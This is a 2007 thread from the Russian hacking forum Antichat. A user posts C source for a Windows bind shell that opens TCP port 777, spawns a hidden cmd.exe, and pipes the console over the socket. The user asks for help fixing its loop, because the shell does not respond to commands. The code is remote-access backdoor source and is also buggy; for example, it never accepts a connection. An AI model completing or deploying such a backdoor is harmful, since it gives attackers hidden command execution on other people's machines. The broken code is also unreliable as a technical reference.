ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

проблема реалезации winshell'a
  #1  
Старый 21.02.2007, 12:43
Аватар для _nic
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию проблема реалезации winshell'a

Вот решил дописать пример из этой статьи http://www.xakep.ru//magazine/xs/048/016/1.asp .Получилось вот что:
Код:
#include <windows.h> 
main() 
{ 
SECURITY_ATTRIBUTES sa; 
SOCKET s;WSADATA wsaData; 
sockaddr_in adr; 
adr.sin_family=AF_INET; 
adr.sin_port=htons(777); 
adr.sin_addr.s_addr=INADDR_ANY; 
HANDLE cstdin,wstdin,rstdin,rstdout,cstdout; 
LPDWORD fexit;  int MAX_BUF_SIZE=1024;int a; 
STARTUPINFO si; LPTSTR SHELL="cmd.exe";PROCESS_INFORMATION pi; DWORD N,total; 
char buf[1]; 

sa.lpSecurityDescriptor = NULL; 

sa.nLength = sizeof(SECURITY_ATTRIBUTES); 

sa.bInheritHandle = TRUE; 
WSAStartup (MAKEWORD (1,1),&wsaData); 
s=socket(AF_INET,SOCK_STREAM,0); 
bind(s,(sockaddr*)&adr,sizeof(adr)); 
listen(s,3); 

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; 

if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; 

GetStartupInfo(&si); 

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 

si.wShowWindow = SW_HIDE; 

si.hStdOutput = cstdout; 

si.hStdError = cstdout; 

si.hStdInput = cstdin; 

if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1; 

GetExitCodeProcess(pi.hProcess,(LPDWORD)&fexit); 
while (fexit == (LPDWORD)STILL_ACTIVE) 

{ 

if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) 

{ 


for (  a = 0; a < total; a +=  MAX_BUF_SIZE) 

{ 

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); 

send(s, buf, N, 0); 

} 

} 


if (!ioctlsocket(s, FIONREAD , &N) && N) 

{ 


recv(s, buf, 1, 0); 

if (*buf == 'x0A') WriteFile(wstdin, "x0D", 1, &N, 0); 

WriteFile(wstdin, buf, 1, &N, 0); 

} 


Sleep(1); 

} 
}
Только вот и получилась ещё куча проблем
1.Цикл while какой то непонятный ,вроде бы GetExitCodeProcess должен быть в теле цикла ,но если он там то программа завершается раньше запущенного cmd(то есть мгновенно)
2.Хоть и при запуске порт открывается cmd запускается и можно через телнет подключится к тому порту но такой шелл абсолютно не реагирует ни на какие команды(возможно все таки из за кривого while?)
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с icq reider ICQ 6 16.08.2007 14:47
Проблема заливки шела Dimazzz Форумы 20 28.07.2006 05:53
проблема RocketV1_0 КИРЮХА ! Схемы и программы 0 10.06.2006 23:48
Проблема Mac OS X не только в Safari DRON-ANARCHY Мировые новости 0 23.02.2006 21:12
Проблема с перл Эксплойтом для ipb 2.0.* SURRENDER Форумы 2 07.12.2004 12:58



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ